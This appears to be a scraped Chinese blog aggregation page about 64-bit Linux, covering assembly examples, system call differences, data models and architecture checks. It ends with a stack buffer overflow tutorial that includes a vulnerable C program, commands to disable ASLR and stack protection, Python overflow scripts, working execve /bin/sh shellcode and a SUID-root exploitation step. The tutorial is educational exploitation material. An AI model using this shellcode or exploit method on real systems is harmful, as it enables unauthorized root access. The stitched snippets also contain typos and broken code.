64位 linux
2011-09-18 10:15:17 cedricporter 阅读数 848
转自:http://myswirl.blog.163.com/blog/static/51318642201002562750929/

hello.asm:

section .text
global main      ;必须为main

main:
mov eax,4 ;   4号调用
mov ebx,1 ;   ebx送1表示输出
mov ecx,msg ; 字符串的首地址送入ecx
mov edx,14 ;  字符串的长度送入edx
int 80h ;    输出字串
mov eax,1 ;   1号调用
int 80h ;    结束 

msg:
db "Hello world!",0ah,0dh
_____________________________
$ nasm -f elf64 hello.asm
$ gcc -o hello hello.o
$ ./hello
2018-11-25 19:30:53 weixin_34150503 阅读数 1

c源码:testg.c

1 #include<stdio.h>
2
3 #define sum(a, b) a + b
4
5 int main(int argc,char **argv)
6 {
7 int num = sum(1,2);
8 printf("num =%d\n", num);
9
10 return0;
11 }
使用命令:gcc -S testg.c
寄存器:8位:al,ah

16位:ax

32位:eax

64位:rax 新增(r8-r15寄存器,低32位r8d-r15d,低16位r8w-r15w,低8位r8b-r15b)

操作符标示:8位:b

16位:w

32位:l

64位:q

1 .file "testg.c"
2 .section .rodata
3 .LC0:
4 .string "num = %d\n"
5 .text
6 .globl main
7 .type main, @function
8 main:
9 .LFB0:
10 .cfi_startproc
11 pushq %rbp
12 .cfi_def_cfa_offset16
13 .cfi_offset6, -16
14 movq %rsp, %rbp
15 .cfi_def_cfa_register6
16 subq $32, %rsp
17 movl %edi, -20(%rbp)
18 movq %rsi, -32(%rbp)
19 movl $3, -4(%rbp)
20 movl -4(%rbp), %eax
21 movl %eax, %esi
22 movl $.LC0, %edi
23 movl $0, %eax
24 call printf
25 movl $0, %eax
26 leave
27 .cfi_def_cfa7, 8
28 ret
29 .cfi_endproc
30 .LFE0:
31 .size main, .-main
32 .ident "GCC: (GNU)5.1.0"
33 .section .note.GNU-stack,"",@progbits
linux系统中64位汇编和32位汇编的系统调用主要有以下不同:

(1)系统调用号不同.比如x86中sys_write是4,sys_exit是1;而x86_64中sys_write是1, sys_exit是60。linux系统调用号实际上定义在/usr/include/asm/unistd_32.h和/usr/include/asm/unistd_64.h中。
(2)系统调用所使用的寄存器不同,x86_64中使用与eax对应的rax传递系统调用号,但是 x86_64中分别使用rdi/rsi/rdx传递前三个参数,而不是x86中的ebx/ecx/edx。
(3)系统调用使用“syscall”而不是“int 80”。
人就像是被蒙着眼推磨的驴子,生活就像一条鞭子;当鞭子抽到你背上时,你就只能一直往前走,虽然连你也不知道要走到什么时候为止,便一直这么坚持着。

转载于:https://blog.51cto.com/11325959/2321782

2011-04-10 15:42:00 sunny3106 阅读数 385

Linux64,最大好处就是内存不在有4GB的限制(32linux只有4G的虚拟地址寻址空间,可以克服这个限制,但是实现起来会比较复杂,得不偿失)。

数据模型

 

ILP32

LP64

LLP64

ILP64

char

8

8

8

8

short

16

16

16

16

int

32

32

32

64

long

32

64

32

64

long long

64

64

64

64

指针

32

64

64

64

Linux64位,使用LP64标准,做代码移植时需要注意一些地方。

Struct或者Union的大小,会随着升级到64位系统,发生改变,特别是边界对齐。原来32位的数据类型,在64位系统上,也许会需要补齐64位;

需要特别注意的地方总结了一下,大概下面几点:

1.       特别注意改变了大小的数据类型:long,指针;

2.       不能像32位系统上,用int来存储指针;

3.       数字常量,需要做改变,比方说0xFFFFFFFF32位机器上如果是long-1,但是在64位会被当成是一个正数,这个需要特殊考虑;

4.       为了更好的代码移植性,有些类型尽量使用linux定义好的平台无关的类型,如size_tptrdiff_tintptr_t

5.       Printf打印指针的参数格式应该为%p32位上%x也可以)。

 

2013-01-17 17:37:32 java_mail_test 阅读数 37

file /sbin/init 或者 file /bin/ls
/sbin/init: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped

如果显示 64-bit 则为64位;

file /sbin/init
/sbin/init: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped


如果显示为32 bit 则为32bit;

uname -a:
uname -a
Linux pmx002**.**.**  2.6.32-71.el6.x86_64 #1 SMP Wed Sep 1 01:33:01 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux

x86_64表示64位机器

uname -a
Linux pmx0**.**.**    2.6.9-5.ELsmp #1 SMP Wed Jan 5 19:30:39 EST 2005 i686 i686 i386 GNU/Linux

 


i686表示32位机器

i686 只是i386的一个子集,支持的cpu从Pentium 2 (686)开始,之前的型号不支持.

备注:

1. i386 适用于intel和AMD所有32位的cpu.以及via采用X86架构的32的cpu.

intel平台包括8086,80286,80386,80486,奔腾系列(1.2.3.4)、赛扬系列,Pentium D系列

    以及centrino P-M,core duo 等.

2. X86_64 适用于intel的Core 2 Duo, Centrino Core 2 Duo, and Xeon 和AMD Athlon64/x2, Sempron64/x2, Duron64等采用X86架构的64位cpu.

3. PPC   适用于Apple Macintosh G3, G4, G5, PowerBook, and other non-Intel models

安装DVD包括的软件要比安装光盘多一些,安装DVD也包括了两种图形界面(KDE和gnome).

4.Jigdo

也 可以通过 Jigdo 下载 Fedora 发行版。Jigdo 可以加速下载安装盘的 ISO 镜像。同 BT 下载等待任务完全完成所不同,Jidgo 自动定位最快的镜像服务器(通过 Fedora 镜像管理器),并且从中下载所需要的文件。为了减少所需的网络流量,可以让 Jigdo 扫描现存的 DVD 或 CD 介质。这个功能对于以下用户特别有用。

 

getconf LONG_BIT
在32位和64位机器上运行如下命令,结果如下:
[b@002 ~]$ getconf LONG_BIT
64

[root@pmx4 /]# getconf LONG_BIT
32

2016-05-29 23:47:10 ruins44 阅读数 423
/*gcc -fno-stack-protetor -z execstack stack.c -o stack*/
/*echo 0 > /proc/sys/kernel/randomize_va_space*/
#include <stdio.h>
#include <unisted.h>
int vuln(){
    char buf[80];
    int r;
    r = read(0,buf,400);
    printf("\nRead %d bytes.buf is %s\n",r,buf);
    puts("No shell for you:(");
    return 0;
}
int main(int argc,char *argv[])
{
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}

按照注释进行编译,并且关闭ASLR。
当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。
构造exploit:

#!/usr/bin/env python
from struct import *
buf = ""
buf +="A"*400
f = open("in.txt","w")
f.write(buf)

这个脚本将创建一个命名为“in.txt”的文件(含有400个字节),将例子加载进gdb并将in.txt的内容重定向到例子中,同时我们可以看看事都可以覆盖到RIP:

Starting program: /root/stackoverflow < in1.txt
Try to exec /bin/sh
Read 400 bytes.buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you:(

Program received signal SIGSEGV, Segmentation fault.
[———————————-registers———————————–]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b0ce50 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd87a0 –> 0x0
RSI: 0x7ffff7ff5000 (“No shell for you:(\nis “, ‘A’ , “\220\001\n”)
RDI: 0x0
RBP: 0x4141414141414141 (‘AAAAAAAA’)
RSP: 0x7fffffffe1e8 (‘A’ …)
RIP: 0x4005df (

#!/usr/bin/env python
from struct import *
buf=""
buf+="A"*104
buf+=pack("<Q",0x42424242)
buf+="C"*290
f=open("in.txt","w")
f.write(buf)

执行上述脚本,将in.txt中的内容进行修改,然后运行gdb。
这里写图片描述
如图所示,我们可以看到RIP已经被我们所控制。
因为没有NX和ASLP等保护机制,所以可以直接将shellcode写到栈上。然后将返回地址指向栈上的shellcode即可。

/*
 * Execute /bin/sh - 27 bytes
 * Dad` <3 baboon
;rdi            0x4005c4 0x4005c4
;rsi            0x7fffffffdf40   0x7fffffffdf40
;rdx            0x0      0x0
;gdb$ x/s $rdi
;0x4005c4:        "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40:  "\304\005@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4    0x05    0x40    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf48: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf50: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
;0x7fffffffdf58: 0x55    0xb4    0xa5    0xf7    0xff    0x7f    0x00    0x00
;
;=> 0x7ffff7aeff20 <execve>:     mov    eax,0x3b
;   0x7ffff7aeff25 <execve+5>:   syscall 
;

main:
    ;mov rbx, 0x68732f6e69622f2f
    ;mov rbx, 0x68732f6e69622fff
    ;shr rbx, 0x8
    ;mov rax, 0xdeadbeefcafe1dea
    ;mov rbx, 0xdeadbeefcafe1dea
    ;mov rcx, 0xdeadbeefcafe1dea
    ;mov rdx, 0xdeadbeefcafe1dea
    xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx
    ;mov rdi, rsp
    push rsp
    pop rdi
    cdq
    push rdx
    push rdi
    ;mov rsi, rsp
    push rsp
    pop rsi
    mov al, 0x3b
    syscall
 */

#include <stdio.h>
#include <string.h>

char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";

int main()
{
    printf("len:%d bytes\n", strlen(code));
    (*(void(*)()) code)();
    return 0;
}

通过一个环境变量PWN来获取shellcode在栈上的地址:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc,char *argv[])
{
    char *ptr;
        if(argc<3)
        {
            printf("Usage:%s<environment var><target program name>\n",argv[0]);
            exit(0);
        }
        ptr = getenv(argv[1]);
        ptr += (strlen(argv[0])-strlen(argv[2]))*2
        printf("%s will be at %p\n",argv[1],ptr);
        return 0;
}

这里写图片描述

可以看到shellcode在栈上的地址为0x7fffffffedd3
下面我们就修改脚本

#!/usr/bin/env python
from struct import *
buf=""
buf+="A"*104
buf+=pack("<Q",0x7fffffffedd3)
f=open("in.txt","w")
f.write(buf)

这里写图片描述
确保改变我们的所有权并将例子权限改成SUID(root),因此可以得到我们的root shell。
这里写图片描述
执行完脚本之后,更新in.txt,并将payload送进例子中,就可以返回shell了。

linux 64位系统调用

阅读数 859

JDK-6u45 Linux 64位

阅读数 27

64位linux 汇编

阅读数 1986

linux中64位入门

博文 来自: guochaoxxl

64位Linux汇编

阅读数 306

没有更多推荐了,返回首页